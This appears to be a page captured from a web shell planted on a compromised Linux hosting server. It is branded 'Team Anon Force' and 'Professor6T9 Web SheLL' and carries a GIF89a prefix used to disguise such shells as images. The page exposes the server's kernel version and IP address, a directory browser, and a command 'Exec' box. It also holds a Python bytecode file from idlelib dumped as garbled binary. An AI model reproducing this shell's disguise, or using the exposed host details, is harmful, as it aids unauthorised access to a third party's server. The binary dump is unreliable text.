GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux s2.soul-hosting.hu 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
Apache
173.212.232.101
/
opt
/
plesk
/
python
/
3
/
lib
/
python3.10
/
idlelib
/
__pycache__
[ HOME ]
Exec
Submit
hyperparser.cpython-310.pyc
o ������;� @ s� d Z ddlmZ ddlZddlmZ eejej d �Z eejd �Z dd� ed�D �Zd d� ed�D �Z G d d� d�ZedkrNdd lmZ eddd� dS dS )z�Provide advanced parsing abilities for ParenMatch and other extensions. HyperParser uses PyParser. PyParser mostly gives information on the proper indentation of code. HyperParser gives additional information on the structure of code. � )� iskeywordN)�pyparse�_c C � g | ]}t |�tv �qS � )�chr�_ASCII_ID_CHARS��.0�xr r �9/opt/plesk/python/3/lib/python3.10/idlelib/hyperparser.py� <listcomp> � r � c C r r )r �_ASCII_ID_FIRST_CHARSr r r r r r c @ sZ e Zd Zdd� Zdd� Zdd� Zdd� Zddd�Zeh d ��Z e dd� �ZdZdd� Z dS )�HyperParserc sH |� _ |j � _}t�|j|j�}dd� }||�|��}|js[|jD ]0}t || d�}t |�d } d| } |�|�| | �d � |� |�| ��}|dusP|dkrR nq"|�|pXd� n#|�d |�}|rh|d } nd } d| } |�|�| | �d � |�d� |jdd� � _| � _|�� � _� fdd �tt� j��D �� _� �|� dS )z;To initialize, analyze the surroundings of the given index.c S s t t| ��S )N)�int�float)�indexr r r � index2line"